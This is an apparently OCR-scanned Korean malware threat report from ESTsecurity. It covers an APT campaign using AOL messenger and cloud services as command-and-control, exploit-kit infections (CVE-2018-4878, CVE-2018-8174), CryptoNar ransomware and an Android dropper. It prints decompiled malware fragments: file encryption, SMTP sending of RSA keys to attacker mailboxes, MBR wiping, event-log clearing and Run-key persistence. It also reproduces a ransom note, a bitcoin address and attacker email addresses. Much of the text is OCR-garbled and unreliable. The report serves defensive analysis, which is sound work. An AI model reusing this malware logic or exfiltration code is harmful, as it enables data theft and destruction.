213163?5Z.url
808 AOL Mail.urd
265 Gmail.url

837 Hotmail.url
152 Inbox.url

183 India.ur

466 Yahoo mail.url
218 zmailur

Directory of c:\users\SEIKO\Favorites\Links\72

112 FN X|L{0}0|.URL
115 Sputnik. URL
110 H[O|E.URL

109 CF=ARA.URL
114 2 URL

113 E3L2.URL
151 2F4.URL

Directory of f:\2_Program\Orbis_zmail\Debug

HRES| ZR0= LR ef==tE

TEE XOR0x55 7|2 253515t £ 'conhost.exe’ IAHOZ

‘conhost.exe' IIQ| AL7t HIZ AOL HAKZE EMS of= 7Is2 £3loA| ELICt
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(&Dst, @, B=x184u);
(&u7i1, @, B=184u);
nsize = 2608;
GetComputerHameA{&Dst, &nsSize);
nsize = 2608;
GetlUserHameA { ko7 L 2
if ( strstr(&Dst,|” _F*Y || strstr{&Dst, "WOOSEOHG-PC) || strstr(&Dst, "T-PC™) ]

{
sprintf(&FileName ] "c:¥Wusersitipublictconhost.exe™)

u18 = CreateFileA{&F1ileHame, Bx400000808u, 1u, 8, 2u, Bx88u, A);
ulg a;
if { vi8 *= (HAHDLE)-1 }
1
vZe = B8;
do

{

++uZA,;

H
while { v28 < 96256 };
WriteFile{uv18, » Bx17880u, &HumberOfBytesWritten, B8);

CloseHandle{vig);

v )

= inet_ntoa{==x{struct in_addr =*)uB->h_addr_list);
= {char =){& - (_UHKNOWN =)u1};

vl = =ui;
vi[{_DWORD)v2] = =ui;
++yl;

H

while { u3 };

H
*{_DWORD =) = =(_DWORD =)"'%2i#._58'?>6he";

*{ DUWORD =)& [4] *(_ DWORD =)"#.58'7>6be™;
={ DWORD =})& [8] ={_ DWORD =}"'7>6be";

*{ WORD =)& [12] *( WORD =)"be"™;

ulh = B;

do

{

[23 19]A0L HIAKZ SIS A5k F= 51

E5| =25H0F & M2 AOL HAKE 291517 | 2fa ARRE! 245 T =(dPQms&Thvidk1987) LIS 512

O

7 [HE0A HetohH| EH S=0i= OIERAAL0F 1987 HRiC 2 2| Het0| Ellh= ZAYLICY.

SZXAt= AOL HILIA SAI7[-E0IME Tro| S=A Hois SOz MRS |= gfLCt & OE BE0ki=
Dajiahao’ Z=5 Mutex 7|2 AZSH=E, =012 ‘02z HFoMMIQ. 2= QOIS 7K1 UCH, AOL 27121 AP
S == (dPWIs&Rkapfns19) YIS M=L), O[T §1F 725 HEHOIM U=SHH, S=0{= B RIRIIHIE 19

HHOR BRI HS o & UL

A= =2 T

rw

ESTsecurity



o vl il g

esi
offset Hame

:

ds:CreateMutexn
esi, eax
ds:GetLastError
eax,

short loc_485A78
esi
ds:CloseHandle
eax,

; hDbject

= 80;

gethostoynane ([Togin oscar ol com]:

va }

inet ntoa{=={struct in_addr ==)uB->h_addr 1ist};
{char =)}{& — {_UHKHOWH =ju1};

w3 = =ul;
u1[{_DWORD)u2] =
++y;

¥

while { v3 );

*=u1;

[9];
[11;
[2]1;

[8]

[1]

[2]

{ [3]1) =
uh = @;
do
*({_BYTE =)}

while { vi < 13 );

[3]1;

[8]
[1]
[2]

[8];
[11;:
[2]1;

[31] [3];

(72 20| 534 QU B2 #8HTfs Uo7t MSE sl

Ol2fet ZR2| HE2 DHR CIAFe AR/t UZARQU=H, SEIKO' AREIS A= 51l U= ZR0= L0

Chit 252 PDB 27} EXHBILICE SZAH= ‘um36085@zmailiu, pghisn333@gmailcom’ O[S AKRBHLICY,
~ F:\2_Program\Orbis_zmail\Release\RecvTest_zmail.pdb
At AR X2 CI21} 22 PDB X222 Léks}l

UAELICL

- F:\2_Program\Orbis_academia\Release\RecvTest_zmail. pdb
—F:\2_Program\Orbis_academia\Release\Recv_Pwd_2_India.pdb
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Datal
Dataz
Datad

; GUID

L8 ; PdbFileHame

ESRC= O|Z0] APT BMEA 20| S58CrE 7ot LYot 324 7|#HE 2806k Eo LA HE Q=
HI= ot=22| EHIE &l AO|E0| 71Jel 2 ATEQI K0 2o AEITEE Hlo RiEok= 7[HLIC
LHS0l| 2T ES Aot 2, RE A8 ATEQ0E SHMEC=E NS 4= UEE HHEES o= HAQILIC
X 34X} il EY EHENN 2S0lHA P2 EOIE 0H2 CiEut 211 H=E0 BiE 32 2idlst
=XI2S H0|7| = HSLC
=P 1 E=2 AZHE0E MEIOE
2016-04-28 20:45:25 @YZE FOIE TH +3,700 I
2016-04-23 23:31:36 @HYUZEDIE + 7,088 0
2016-04-06 11:57:08 @EHF &H +E,800 I
2016-04-04 21:46:59 @S2 st A +1.810 I
2016-03-29 12:10:42 @2 2T &3 +4,900 I
POG-03-13 12011114 @SH=2H I &4 1 I -300
2016-03-1312:02:43 @TS20 S £ I -4.600
2016-03-1312:00:26 @ZAH LY &H +E,750 I
2016-02-24 22:04:19 @Z2 &H +1,200 I
2016-02-21 18:33:25 @HZ = &b +30 0
2015-06-19 22:17:59 @LI22C &3 I -100
2015-06-09 0857:32 @2EHY +100 0
2015-06-07 12:01:48 @J|EF ZYUE &H) +500 0
By | +31.035 -5.000
H2 ZOIE : 26,035 @
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3. 239121 O=2] MAIE S& E-

2013 ' 7| AOL HIAIKME Sot S 70120 SZXt= FAl EOI HAOIEE sl 2= 8= 5P|
UL 2L olid 2l AIESO| LeEk[1, L0 AITER X5 28d0| ot AS oilet A=
FYEL

JIERMQIX] 20 S04 CHA| AOL HIAIKIZ S5t S41 MO SIRIsH XIAXQ! HES RGBT, IRCH}
SI= A (WordPress) 714t 2 MOIES REXOR siiish UER & 22 HHO=Z HRS BLCH

FEDYA E AO|ES 082 SAUM= F2 S2iA| S4|0]0] FFE TS 0[S =H, 7121 DIT &=

oL O™

MH|AQ! 'Streamnation’ S2tRE AES 2AHHOZ MA| ELICL

SZXt= 1 AFH0IME FE=5] AOL HIAIME 08¢t SAl AAE FAIoIL, AT TIH0IL HEHE & S22 SH
MHZE DA EAMOIES (2 = 2E5HA| EUC

J2{% = 'Streamnation’ AH|AZ} 2016 H 2 24 MHIAE ZSEsH1 AZX|HA, SHXE= 2016 1 &

TEH Zmailru' MHIAE 2402 HAESE| AREILICEL 28, 34Xk 11 TRE Zmailnu AMH|AE 085t

URSLICE.

T2 zmailrd MH|IA S& 9l S2X = M22 Q2 MY MAIZ HES A=, AOL HlAIA S+t 24| pCloud

MHIAES ERI5H7| ARBILICE S2FRE MH|A A™ES MM M= 3._*3 #3OtL|2t 0|, 5=, 2, 2A|0t &
CieFet =7te| R O|H|Y MHIAE &&= L

32 Ta9| Heh= ARI0| ZF HaIE 750, T £Vt EI0 UX| 2 £ HYS U= 7PIe%
HIARIZ CVE-2018-4878 FFH LIUS TS0, ANEE 0ISAIE 7{get AE20|= oFdY &
UA|USLICE

2017 41 2 U 221 LEG| DOC M FORY TAS SHololk BIX 2 TE|= YALICL 19 32, 52 5
SOImE T O QF, EUES S6t T PR HIE S T2 7122 TE6| U IH0IS 5t Ut 22 Y

7 ARSI
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[AAIZE0] M2} U C2 7182 tHa

2013 03 26 Y

20139 04 & 20 -
2015307 € 10
: Streamnation 7H21E SEIRLE AH[A
: Streamnation 7H21E SEIRLE AH[A
: Streamnation 7H+E S2FRLE AH|A
: Pcloud 7H21& S2HRE MH|A

:AOL HiAIXN MH|A SAE=E

- PubNub laaS AH|A

- PubNub laaS AfH|A

201507 & 14
2015 08 & 09
2016H02E 09
2016904 11
2017412815
2017412812
2018 01 & 16
2018 028 23
20187 08 & 14 &

HuRberDFBY

:AOL MK AH|A 24]

R
S S 2 AOIE S4

—_— O -

FEDHA EAOIE S

—_— O -

:PubNub laaS A{H|A

: PubNub laaS AH|A

gned int)&ula);
), EHumberOfBytesWritten, @);

ileHane, ("

eHane
ileHame
ileHane
ileMane,

include

0, B) )

2015-07-10 11:38:04 (KST) Scadai232ff3d71df02c1bibbéfbadad

C2 : WordPress

s bp , d BB

2015-08-09 10:32:49 (K5T) 2e6ffcTbb2ab55201c3b342c97ec8a3b

€2 : Streamnation

IAIE=

o 1o

HumberOf

if ( hFile

WriteFile(hFi

Juljauth™, “HTTP/A_A", 0, 0, 0, 8);

2015-07-14 18:40:30 (K5T) 527dfBcddeb50d 34d26de10c328260e2
C2 : Streamnation

D [761;
int)u2@ - L} / 57é;

e=filemanager™,

2016-04-11 11:12:38 (KST) b43cb6bsofbo28319acbbbeifced314b

€2 : Pcloud
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XI27EKIC] AFIQIIE S5t IoC ZEL} HEL HIO|EIE AIRSH= QAFSH EISHAILT | SF20A = 2E7E AL
O|0X[11 QO ESRC &= 11 Hat IPEE ABFHO = X A5 USLICY

ESTsecurity



02 ME7t 22t 7|

2.4 S= MOIEE—'?'-Ei O|X =
OIMTALC QIL X

A2 22 2 712 B2F AOIE A 224H0] 7153 MBR TH 7150| Qi A=} REE(] Foi8
=

AT REEE= AMOIE ANEO= 2R AYD 233 Q= LHEC= Faiot JRIM0[ER 1 = 235
7 |THoH AAE AEAISS] 23S Rkl ASLIH.
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LTI

AN J— » /
A N X2 PLAYSH| » LN '«“‘EL /:'{ 2

s 4 WS
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© 2JUx| AR

- g ZE R2
- NS AR hittp /7w, F233t A0IE RO =3 UIgLITH
- 2N HAT
-BEMEE
- AJREHAT
- ESZ AN
- El SIS O F3 a 405 ]
< ASME I B HAE
0 il 233

Bz 3 E HY 2Z
=22{712|

DR HOIZF0f =7t
c—e 28 | B0 PC)

O 200K

LINEAGEI PRU T melx ool oigEs  2URRNY

HEZ) §%

O YT H Azt o

(OIS0 ST 2847 3T 04

AN RIS

o r>courny



02 HZ7} =ot

711
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AlAgoL0IE

of/s

201K, EICHE JHE 2y
— 1 '
=,

A

2018-08-29 1345

bty Awavnafirecoks

- BEF A E HAE
- @SN

l hittp /v

Agt AOIE LICEH

EON
=]

& Bl A AN |

MU O ELERNL AN

2= 00l

Lo

7

~

o
| il he
E AHixgae| A"

o LS AEs,
; XHEFRIZ SHELICH

L §

Y oweism=E mus
SMEUSE  STORMX G2

Wbt - AHIS S

[z ]

i %‘E |01 EI_’S

@A) ofojsl A

2018-08-29 13:41

ENZ ADIEN

HRLE| AAE

Z31:43

FH0

2S48 o0l
S

e
/’/‘/

“AIRJolol e A B2
28T Y2 K"

O LE2 Hi223,
XEE7HI7H ERSLICH

OF= A0 =0

Zlopt IS
7|2
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[ 1] A1 S AOIE0]| 7 |xHE! HIAIZ O0]X]|

9 ADEQ0IS

Off 2ol HGF=VH CR=E | &l 2 4

0 o=

UASLIC.

AE S AAIL AEAPE 27101 oS AIOIE

E
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O|AEAIRE[E| AETE= A O

To-1l— T

27 L 09 Alof| SHS AMOIEMIM Z|= AHTET}HUA Z|/UOH, CKVIP(KaiXin)

AO[EZ 2210] EIASLICE,

o A
B'E—?-ﬁ

EE5H O] AJO|E0= (VE-2018-8174 VB ATRIE FIOFY, (VE-2016-7201 K| E2IRK Fod S8 ZE610] &
7 7HX| FH 3HOZ 0|F0{K UELICH
MEIQIAO|=0M = SHE AO[EOIM AR E CKVIP(KaiXin) UAZEQ! ZIS MM 2M510] AL & FUH 2|AES
AL
2 4 IsULE,
K3 http://www.korst--
|| %4 Java Exploit CVE--
K3 hitp://www.korst---
24 MS Edge Exploit -~ B3 nttp://wivevi korst---
45 CK Vip Exploit
\. X htto://www.korst---
‘ 2| & Java Unknown E---
| EXhttp://www.korst---
24 Java Exploit CVE---
2 3 nttp://vivevi korst--
3 htto://www.korst---
244 CK Vip Exploit -
K3 http:/fwww.korst--  ERhtto//www.korst---
9} & SWF Unknown E--- 24 SWF Exploit Loa---
“ EX nttp://vevivi korst:-- 3 http://www.korst---
;3 ‘\ ,__.' httBI;".f\.i\A'mkorst-:
T SCOELILY
| .
i i 5 ‘ B http://www.korst---
4 CK Vip Exploit
K3 http://www.korst-- || I http://viviwi.korst:-- 3 hittp://www.korst---
2% CKVip Exploit : 2} SWF Download --- 2} SWF Exploit Obf---
i E3 nttp://vivevi korst--
| otz swr Exploit Obf--
| 3 nttp://wiwive korst---
KX nttp://vevivi korst---
B3 nttp://vevevi korst--
‘ 2 & SWF Unknown E---
T —
5 CK Vip Exploit
B3 htto://www.korst---
B htto://www.korst--
[ 2] CK VIP(KaiXin) AAZ 29l 24 SEL& 00[X]
Floret AEAP B4 o B9 LREE A Alikl= oA C= PCEE M, AEEE, TIRAK, TREE 39
7152 71 HAN0 BT ERANZM 02 7[552 3 & 4= UL
42

ESTSECU!’ff}’ Copyright © 2018 ESTsecurity Corp. All rights reserved.
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OHNAND )

GetLocalGroupinfo(vi);
Get _WISUserinfo{vd);
SetReg _TerminateService PortNumber(vd, COMMAND +

Control RemoteSession{v3d, COMMAND + 1, COMMAND +

Add Netlser(v3, (COMMAND

Get UseriInfo{vd, ©

Get _Userinfo{ud, COMMAND

= RemoveNetUser(vi, COMMAND

Change Netuserinfo(va, (COMMAND «

- RemoveFiles({COMMAND + 1), al 1);

Close_TerninalSession({vd, CONMAND +

Exec_LogOff(v3, COMMAND +
HBRDestroy();

ClearEventLog();

ob 39| 5 (8C H0| Tf2} MBROMEISEHTC)S Thjsts 7ISTHK| ZA5101 ABAISS] 2k

ESTsecurity
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H=27} Het 714

if { result = -1 )
{
qmemcpy{&NewState, &unk_1869A7A8, 6x1%u);
ub = 'r’;
LUB?TE(US) =
vig
vi5
vi7 A
vis 7 G
v28 il -
memset (&Buffer, O, 0x2080u);
String = "H';
qgmemcpy(&Buffer, &NewState, Bx18u);
us = 'a’';
v?7 = 'd’;
*(&u8 + 1)
HIBYTE(u8)
ve = ‘k';
vit 'd*
vi2
vi3
viy
vib
vig
u21
u22 =
u48

[22! 4 MBR Y0 2XIES A1 A7 [= ZE 0|0|X|

Ol2{gt FT =0 ZAHEIX| 27| floiM= EX7H =2=2et 23 =2 AMO[E0| H&31X| LOI0F RiLCt Lt 22

Hot HHI0IES Eefet 245 0iS2AH01d YHI0|ES 2 Z2RIC= RXloh= B2t 58S ol ZE EF

b

ST A AF M= 2 AYTES Trojan Agent.259584K’, TrojanAgent.Injector.273920' 2 ZIEGHL
o
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[Trojan.Ransom.Cryptojoker]
OIYTE BN HIM

1.702

ZIZ Crpytojoker TS| HEOZ CryptoNar 2 Sel= THENU07H HAZIACE CryptoJoker ZHA012K= CHEA|
US S} CHAO|L EHHOl= XI01-E EQICE CrpytoNar S0 2SSt HIQ| SIS ME FL20HK| 20f HiE 3t
HOj| EXffol= 2= SCQF IAU0| Y5} CHAO| EICE DY USSP 2tE =M AJAR HEHRF RSA 7| MEE SAKL

ot

HZ= TSIt SiMl| S35} 77t S0 TsHE Z|aeket 4= AU, XIEHR1 #E50| SEHE 7/Esd0| =2 T

- O
= MEAIL] 27t ER0ITt.

LN, 2 2 1M0M= CryptoNar 2HERIOE AMl 241610} Sict,

ESTsecurity



A jokingwithyou.cryptoNar’ Tl P2 ZAFSIC IRl ZXHGHK| Lot
QUBE} FIHEIX| 942 AMBIOR QIX[5T Ob S HAFIC,

[l args)

Frogram,

path = A .
JapecialFolder. T, tiokingwithyou. cryptoMar® i
fla = | . (pathd:

Frogram.

[0 1] 5% 413 x| 3=

2 2 ]]'_I-OI ots I.
CryptoNar 2&2I0t= IMAS A 3ret [, S M2t At WHO| HO[SH. T SFEX} o, ‘md 2 B0

= MOl WﬂE or53t 51 “fully.cryptoNar BHRIKIE S7IBICE 1 2 EFAIKIE 7181 I H0[E{Q] & 1024 bt
IE”f kel o] partlally cryptoNar SIRIKIE ZTIBICH

Filelnfo filelnfo = Filelnfolc 2
f filelnfa. == ".tut” Il filelnfa,

cryptol EncryptFileFul lv(filelnfa. ik
, (filelnfo. , filelnfo, + " fully.cryptoMar™

{Exception)

cryptol EncryptFilePartial lwifilelnfo. jik
lelnfa, . . (filelnfao. , filelnfo. + Uopartial ly.cryptaobar” )

{Exception)

[} 2] 2Rt 72 3

ESTsecurity



03 OYTE BN ET

7[& Cryptojoker 2HEA0{2b= CIEA| 2P T2810] ZE S Yoeloit. LiS2 Yeept 2H = 28t

=71 21 HOIL oy TS2 O Ol Fd TIRZE SEGHK| =

= SZ

|| ransomware zip.partially.cryptoMar CRYPTOMAR Ih2
|| ransomware.xml.partially.cryptoMar CRYPTONAR I
|| ransomware xlsx partially.cryptoMar CRYPTOMAR Ip2
|| ransomware wrmv partially.cryptoMar CRYPTOMAR Db
|| ransomware.vb.partially.cryptoMar CRYPTONAR I
|| ransomware.tet fully.cryptoMar CRYPTOMAR Db
|| ransemware torrent.partially.cryptoMar  CRYPTOMAR op Y
|| ransomware.sin.partially.cryptoiar CRYPTONAR I
|| ransomware.py. partially.cryptoMar CRYPTOMAR Ih2

(02 3] =3t mid i

221 11f°al° =3t dLIE
If fesh= ZiCtet HIO[E S Gt = OfRIEICE @i E* = CIo[E2t o=

(ex: 8V2ZQCT2Q8MGLX5PQEIH)2] & 1 HIO|EE Lol iSSt HI0|EHE A4S
EE&|= EncryptionKey 2 & 2QPTE0M = 0x38('8)7F AFZEIULCY.

1KB

SKB

OKB
27,334KE
2KB

1KB

12KB
1KB

KB

A5t 20HOIE Xf%'

.5 1 HIO|E= If =si0fl Ab

o535} HIO|E] = &= BI0[E] + EncryptionKey [(0x38(8)]

Chaat 20| “partially.cryptoNar 2 LS 3SHE MUO| H|O|E{7} 3 1024HI0|E(0x400)7HK| YS3HE As Sfolgt &~

QUL 2} BIO|E ZS0| T4y SHhtol fsH 0384 B7KCt

ESTsecurity Copyright © 2018 ESTsecurity Corp. All rights reserved.
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&E 69 5D 91 &1 | -0-=H 3E C6 A1 95 <9 389 >@>EJ|5’,Q7
17 DB 02 50 SE F'EI-I'?F"? 40 4F OE 34 88 CE
DA 20 00 01 00 119-" C9 12 58 38 39 38 ﬂ?XSQB
o0 01 00 00 SO 58 38 39 38 38 95 | gAxg9ss?
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ZB 00 11 04 24 3C B3 38 49 3C 62 | =<chl<b
1 o0 00 04 00 EO 51 38 58 42 38 | 2:'Q8665
79 00 00 7O A4 B1 38 38 AS E& | biltEad
04 2A 00 00O 00 38 3C B2 38 S8 | 958<b555
A 42 01 00 01 00 82 7A 39 38 38 | =2tz9895
ol s8h oiole) |1
=

iq855e=8

35 32 59 BB AA88829k
358 58 358 | oNE59383
358 38 38 | 03593855
S5 58 S8 | 9585358

oot ooooooWooo oo R & 00 m o R oo

looocooooooooooo

D = DD OO 0 G L)
~1 T T == T e O

o

o

o

o

o

o

DO T 00 O I D 0 O Ol L0 0 0 0 L0 L L0 0 00 0 0 ) e
42 T M 00 @ D O O O (OO0 0000 50 50 G0 00 00 00 00 00 T 00 00 00
DoOOODD 000D D D O Ol 000 0 G0 L0 L0 0000 00 0 e L 0
S OMOORN = O =00 D O OO0 0000 00 G0 00 00 00 00 00 00 00 00 00 00

oooooooooOoooo)
e = R =I=T=1=

owoo
mMmmT
o
o
m
o
ra

2 4] 2= 2S3HE H(OlE]

2.3. HE-E 4

I USSP} A= EH, AZKI0A 2 At S35} HHS QHLSE | /I8t 2 .-ET} ‘CRYPTONAR RECOVERY

INFORMATION.xt' OIS 2= HIESIH0| HEEILE. S2X= =53t 71E FHlich | 2fe 72 A2 O|LHZ $200 2| HIE
1= XIZSHOF STt X|ASHH,

HIEZQI T4 1FeutvrVeiF8Qdnnx9Rr3CyBfHBCFeKWPq

" CRYPTONAR RECOVERY INFORMATION. txt - B2 & == ECR |5
maF BEE MMO) 27NV ESZH)

Your important files including photos, videos, documents, databases, etc. were encrypted with our CryptoMar ransonware. The only way to get vour -
files back Is to pay us. Otherwise, vour files will be lost forever.

Important note: Removing CryptoMar will not restore access to vour encrypted files.

I(Encryption was made using a unique RS4-2045 public key generated for this computer. To decrypt files vou need to acquire the private key
decryption key).

The only copy of the private key, which will allow wou to decrypt vour files, is located on a secret server in the Internet; the server will
eliminate the key after 72 hours since its generation (since the moment your computer was infected]. Once this has been done, nobody will ever
be able to restore vour files.

In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: 1FeutvrYeiF8Qdnnx9Rr3CyEfHECFekKiPq
When time comes to send the bitcoins to us, make sure to include your e-nail and your personal |D fyou can see it below) in the extra
information box (it may apper also as 'Extra Mote' or 'Optional message') in order to get your personal decryption key. |t may take up to B-8
hours to take wour personal decryption key.

hfter the payment was made, and you received yvour decryption key, just press the decryption button in the decryptor {located on the desktop).
Enter your decryption key vou received, and wait until the decryption process is done.

[32 5] CRYPTONAR RECOVERY INFORMATION #H&LLE
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{ publicPrivatekey)

“ + Frogram. {)+ " How are you. " +

f anota.com”

= pody:
.zoho,eud”,

NetworkCredent ial(

[ 6| SMTP MY T& T

CHE2 MY TE0| 223t HI0[H
‘johnsmith987654@tutanota.com’ 2= T
areyouZ MEE=RSA 7| HE= S5 &
‘CryptoNarDecryptor.exe'= LS st=
Mgt LIES =lolgt 4= Ut

—_="T M

=L}, Body =01l SAAE

02
==

EL|= ‘CryptoNarDecryptor.exe’ T2 1M 25
S8t 5h= 7Is2 7l RO =

(Program.

A0|Ct MY MI=2 Hello 0] ‘johnstang@zoho.eu’ 22E

t Hot= EE7F AEE|0] AL O] TH, How
2ot 7|= ASEC
OF 25 Y =53F RE0|M O At

Body
—Hello: AFEAt AIES {ot 7121 1] ID

—How are you: Base64 2 C1FY = RSA 7| (RSA7|= O &5

2210l ARSE[X]

O] |:_|-)

LS

F
y
K
y

b

b

2

F

K

2

F

y

K

"Hello"

b=

(johnsmithg: tutanota.com)

[I2! 7] SMTP HIY K&
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e
N
50
fal

HERS IS Solf HiZ0| M= el MEE A=

220: EH2I MH|AY ZH|EIISS YEl= 8 ZE
o ; o

250: 2o HYS YEHo= HHINS

M Follow TCP Stream [E=N|Eoh ===

Stream Content

220 mx.zoho.eu SMTP Server ready September 8
EHLO :dsieiet e

250-mx. zoho. eu Hello %
250-STARTTLS '
250 SIZE 53477376

2018 3:50:27 PM CEST

| »

m

STARTTLS
220 RrReady to start TLS.
ceenS5ee 00 [ee X=]. N 00Z2d. 08 L S KL gl 5./.

8.2.
................... smtp. zoho. eu.
........................... Yoo ULyl BEXL k... T2 '. Bl
TI~9.b........ Mooo.o.. I..u M. 6. ...

JO..v0. .3 e Lw

(72! 8 SMTP HIY HIESIT TH!
25 M 2S5t =3

Al

o2
ol

SAKN= MY 5551 T2 THOZ ‘CrytoNarDecryptor.exe’ IMAS HIEISIHOY| A4 I}, O] M=

=
CryptoNar 20 2fA FHO| AEE|0] ULt S T2 CiSit 20| 35 O0IES ALEeICh

@ u v| P W Usersi AN D esktop

THv OIS ET v ZROY v A EC
E CryptoNarDecryptor.exe 2= == A80KB
= 2Ho|ER|E =1 CRYPTOMAR RECOVERY INFORMATION.... =AE 24 3KB

[22! 9] ‘CrytoNarDecryptor.exe’ I Al

ol

AJAE! THEED AH|E XIS AISHE! 4= QIEE 8| XA E2|(HKCU\Software\Microsoft\Windows \CurrentVersion\Run
7

=
) Ol ‘Sound Card’ O|29Z 7| ZkS S=6IC

& axase mEy|
TYE BEE 20 SHNN SSUH
ok NetCache “|| o= == B0l

ki Policies i REG_SZ @Ezey
RADAR abSound Card REG_SZ CUserstrariDesktopCryptoharDecryptor.exe

Run
RunCnce
-\ Screensavers

[ 10] ‘Sound Card 0122 XI5 &3 S5
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OPYTE BN T

CIS2 ‘CrytoNarDecryptorexe’ 13l SHHO|CH SS35t 2L 711 1R ID, HIEEZQI FAE SIgh 4= QI RSA Y|

£ XS5/0] TS =SH 4 U= 7H50| TEHE(0] Tt

= Crypto Nar 1.0 [ @ (3]

ifour important files including photos., videos, documents. databases. etc. were encrypted with our CryptoNar ransomware, The only way to get yourfiles
back is to pay us. Otherwise, your files will be lost forever.

Important note: Removing CryptoMar will not restore access to your encrypted files.

m

Encryption was made using a unique RSA-2048 public key generated for this computer. To decrypt files you need to acquire the private key (decryption
leey).
The only copy of the private key, which will allow you to decrypt your files, is located on a secret server in the Intemet; the server will eliminate the key

after 72 hours since its generation (since the moment your computer was infected). Once this has been done, nobody will ever be able to restore your
files.

In order to receive your decryption key, you will have to pay $200 in bitcoins to this bitcoin address: 1FeutvrVeiF8QdnreSRr3CyBFHBCFe KW Pg

When time comes to send the bitcoins to us, make sure to include your e-mail and your personal ID frou can see it below) in the exdra information box it =

Personal ID:

oty

Bitcoin Address:  1FeuterveiF8Qdnnx9Rr3CyBIHECFekWPg

[ Copy Personal ID J [ Copy The Bitcoin Address J

You got the decryption key 7 Cool, click me to decrypt your files !

[22! 11] ‘CrytoNarDecryptor.exe’ 213t 31H

OS2 5231 71E e = U= 2HH0IC. 0] S22t 7= Base6d HEIZ 1T = RSA7| 0|0, SZXI0IA HIZ

' Crypto Nar 1.0 L= =]

Your important files includ Key Validator @
back is to pay us. Other™ by v our decryption key here:

by way to get yourfiles -«

Importart note: Removing [P ARS AFMAQQEBLAGU A2 OBWAGE AbAR 1 AGUAP gABAEDAbwEKAHUARARTAH -~
Encryption was made Usil MAPgBSAHCAZ AdwrAEAAWRATADD ACgBwAEI AMOBKAFgATwaAz ADEALWEI A

m

rivate key (decryption

ke, FledZ wawtHOAdgE = AFEARWEMNAGDAYgEmaADgAMwBMNAHEAVIERAEgACg A
The only copy of the privi  |5AGoAKwEBRAHY ALwAwAEYANgBEADY Abwe o AFTAN Al AF kA AATAFIAN w will eliminate the key
after 72 hours since ts g8 (BCADQAgBmADIATWEEAHDADwEXAGIAVOBEAE wACOBYAF0 A2 OBrAE YA Eble to restare your
files. bgBs&EnslgévADRAd0BG AR Azg A AFEADGELAE c AU ABWAGwAR whBwiAD
In order to receive your d AADAByAGwAlwayAGDADABRAEKAYOEEADIARgBvAGIALABBAEMANDEIA HBCFeKWPg
HUAZABOADIAWO By AGC ADQBaAFlAdwBMAGDAOBJAFCADABIADC AowB3 -
When time comes tE sen l(llﬁ information I:!cot it -
Subrmit Decryption Key
Personal D: r3CYBHBCFekWPq

[ Copy Personal ID |

Copy The Bitcoin Address |

| %ou got the decryption key 77 Cool, click me to decrypt your files 1! |

(72 12RSA 7|2 QUiste Bl
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ChElt 22 F=5 Soll R88 RSA 717t FHEIA=A] 2RIt T 0] RSA 7171 Rt AR0=
O —

sender, Events

.Oe
t.Contain

has bad format.", "Errar”, uttons.

yvption has bad format.", "Error”, H geBoxButtons.

[72 13]RSA 7| SEA ZAt

ChE2 728 RSA717H HELS [ =221 AlRfoh= 2HHOIC.

{2’ Crypto Nar 1.0 =R IERES
WP

“Your important files including photos, videos, documents, databases, etc. were encrypted with our CryptoMar ransomware. The only way to get yourfiles  »
back is to pay us. Otherwise, your files will be lost forever.

Important note: Removing CryptoMar will not restore access to your encrypted files.

m

Encryption was made using a unique RSA-2048 public key generated for this computer. To decrypt files you need to acquire the private key (decryption

ley). k E
The only copy of the g Decryption process will start soon @ rver will eliminate the key
after 72 hours since itg Er be able to restore your
files.
) ' 0 ! The decryption process may take a while. Please close any other
In order to recsive you LWV program and then wait patiently for the decryption process to finish. [CyBfHBCFeKWPg
When time comes tE g the _ealttla information bIm( it -
(= (==

Personal 1D: nx9Rr3CyBHBCFekKWPg
| Copy Personal ID | [ Copy The Bitcoin Address |
[ ‘fou got the decryption key ?7 Cool, click me to decrypt your files ! l

(12! 14] &35t AJ=t QLY 513
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ChE2 Y 558t Y1aIF0|H A==H0f ARBEIRIE EncryptionKey = B

o Qe

- —L

HO[HE &= 4= AUCL.

S35} |0 = 242 HI0|E] - EncryptionKey [0x38(8))]

YO =olE Il

rlo

CHEdk 2L,

| 4; ransomware zip S=(P) EH
|=] ransomware.xml XML 24

|| ransomware xlsx XLSK mpe

|| ranscmware wmv WNY I

|| ransomware.vb VB m

\=| ransomware. HAE FM
|| ransomware torrent TORREMT I 2
|| ransomware.sin SLM mpe

= ransomware.py Fython File

[22] 15] MARO=Z Hels miol 5iH
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CrpytoNar HE012] @fsst A2 ThE 00 HloH H|wX ZHASH HIOIE S Sis 0I8elct. 137| T2
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11 QUCHH fSalE Mgt H|wE SaliM EncryptionKey & £A 20K 4= QUCH.

ORRIZIKIE, RSA 715 11 = AL ‘CryptoNarDecryptor.exe’ T2 1S SoliA, ZHXIA| HIRS X[SoIX| ¥11

& SslEilS BaIs 4 Ut

Eol S5 2 %*XI% QI MA=H= okingwithyou.cryptoNar” IS %AppData% SHI0 O[2] AAdsh FH
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SIXH 2efoflAt= “Trojan.Ransom.Cryptojoker 2 XISk QULCT

ESTsecurity



i

HI

SERISER

[Trojan.Android.Dropper]

OLYTE N HIM

7120|2 UL,

1.7

P71 ZetE WOl CHSot7| floiM 2fEet 2l
I 2A Y= ArEott] O

tA{ OHO EHY

72 S20IAE0f BA| 9 RICRA oty 9
SIRIEF Ciofet oy 0| B 12 7HE610] HIREIT QUCk SHg op e
AREIS: SOIXIZHAIF| RIIKIX| 04 AKSAF 24 717| e OfLit 2Xf S8t 7|2

o
K|HX L= 2= EHold]

2| HRPEEMK| EF[eHt.
NI

2 24 H1IMOAM= Trojan.Android.Dropper £ A 2446111

ESTsecurity



21 A8AE H0l= 21
XS ofd HS Lol AEAIE £017] 2lotiM o YOI ARI=IRACHE 217t HRIEILE 2R XXX 212
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—

o

String v3 = arg?.getPackageName();
PackageManager v@ = arg?.getPackageManager();

ve. getInstailerPackagename("i},

v8. setComponentEnabledSetting(new ComponentName(vw3, Izcusa.readStringConfig(arg?, "activity”)), 2, 1);
N e
this.removal_message = "The 1ns+nllE1 application is incompatible with your phone and has now been removed!™;

The installed application is incompatible
with your phone and has now been
removed!

23 1] ABAIE £0l= =7

2.2 oV S o =&t
“assets” ZE0 mp3 X2 IPSE._' ORIS2 M M0|H, AEMO= ok st TEE FET| MAE0 QUCE
E5|, Base64 253} |0 HEE|0] AU, “/SDeard/Download/” Z=20| MEEIC

AszszetManager v5_1 = argS.getAssets();
if(argb.equals(Tools. filenameopk)) {
vl = new BufferedReader({mew InputStreamReader{wS_l.open{"1.mp3"), "UTF-8"});

]
else {
StringBuilder v4 = new StringBuilder();
vd,append(args) ;
